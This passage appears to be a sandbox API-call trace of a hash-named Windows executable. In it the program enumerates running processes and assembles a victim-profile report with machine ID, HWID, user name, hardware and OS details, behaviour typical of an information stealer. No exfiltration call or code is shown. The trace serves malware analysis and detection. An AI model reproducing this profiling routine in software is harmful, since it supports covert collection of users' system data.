27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- ") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- "
[0054.816] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- ", lpString2="svchost.exe" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe"
[0054.817] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe ["
[0054.817] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d9b8
[0054.817] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x18) returned 0x671500
[0054.817] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d998
[0054.817] GetLastError () returned 0x7a
[0054.817] SetLastError (dwErrCode=0x7a)
[0054.817] GetLastError () returned 0x7a
[0054.817] SetLastError (dwErrCode=0x7a)
[0054.817] GetLastError () returned 0x7a
[0054.817] SetLastError (dwErrCode=0x7a)
[0054.817] GetLastError () returned 0x7a
[0054.817] SetLastError (dwErrCode=0x7a)
[0054.817] GetLastError () returned 0x7a
[0054.817] SetLastError (dwErrCode=0x7a)
[0054.817] GetLastError () returned 0x7a
[0054.817] SetLastError (dwErrCode=0x7a)
[0054.817] GetLastError () returned 0x7a
[0054.818] SetLastError (dwErrCode=0x7a)
[0054.818] GetLastError () returned 0x7a
[0054.818] SetLastError (dwErrCode=0x7a)
[0054.818] GetLastError () returned 0x7a
[0054.818] SetLastError (dwErrCode=0x7a)
[0054.818] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x67db18
[0054.818] GetLastError () returned 0x7a
[0054.818] SetLastError (dwErrCode=0x7a)
[0054.818] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db18 | out: hHeap=0x670000) returned 1
[0054.818] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d998 | out: hHeap=0x670000) returned 1
[0054.818] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.818] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d9b8 | out: hHeap=0x670000) returned 1
[0054.818] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [", lpString2="652" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652"
[0054.818] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652", lpString2="]\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n"
[0054.818] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1f8, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
[0054.819] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n", lpString2="- " | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- ") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- "
[0054.819] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- ", lpString2="dwm.exe" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe"
[0054.819] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 